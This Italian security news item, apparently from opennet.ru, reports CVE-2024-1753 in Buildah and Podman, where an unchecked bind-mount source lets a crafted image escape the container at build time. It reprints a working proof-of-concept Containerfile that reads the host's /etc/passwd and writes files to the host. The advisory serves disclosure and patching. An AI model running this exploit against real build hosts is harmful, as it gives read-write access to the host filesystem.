Nei pacchetti Buildah e Podman è stata individuata una vulnerabilità (CVE-2024-1753) che consente di ottenere accesso completo al filesystem dell'ambiente host durante la fase di costruzione del container, eseguito con privilegi di root. Su sistemi con SELinux attivato, l'accesso al filesystem host è limitato a modalità di sola lettura. La correzione è attualmente disponibile sotto forma di patch, recentemente accettata nel codice sorgente di Buildah.
La vulnerabilità è causata dal fatto che, durante il montaggio di parti del filesystem tramite il comando «mount —bind» durante la fase RUN della costruzione, l'argomento con la directory sorgente (parametro «source=») non viene verificato per l'esistenza nel filesystem root. Un file di configurazione Containerfile assemblato da un aggressore può utilizzare un'immagine del container in cui la directory sorgente per il montaggio è rappresentata come un collegamento simbolico al filesystem root. In questo caso, l'operazione di montaggio porterà al montaggio nel container del filesystem root dell'ambiente host, consentendo nella fase RUN di ottenere accesso completo al filesystem dell'ambiente host e di effettuare l'uscita dal container durante la costruzione con i comandi «buildah build» o «podman build».
Esempio di file Containerfile dannoso, la cui costruzione con il comando «podman build -f ~/Containerfile .» porterà a mostrarne il contenuto di /etc/passwd e a creare i file /BIND_BREAKEOUT e /etc/BIND_BREAKOUT2 nell'ambiente host: FROM alpine as base RUN ln -s / /rootdir RUN ln -s /etc /etc2 FROM alpine RUN echo «ls container root» RUN ls -l / RUN echo «Con exploit mostra root host, non il root del container, e crea /BIND_BREAKOUT in / sull'host» RUN —mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit RUN echo «Con exploit mostra /etc/passwd host, non quello del container, e crea /BIND_BREAKOUT2 in /etc sull'host» RUN —mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2
Fonte: opennet.ru
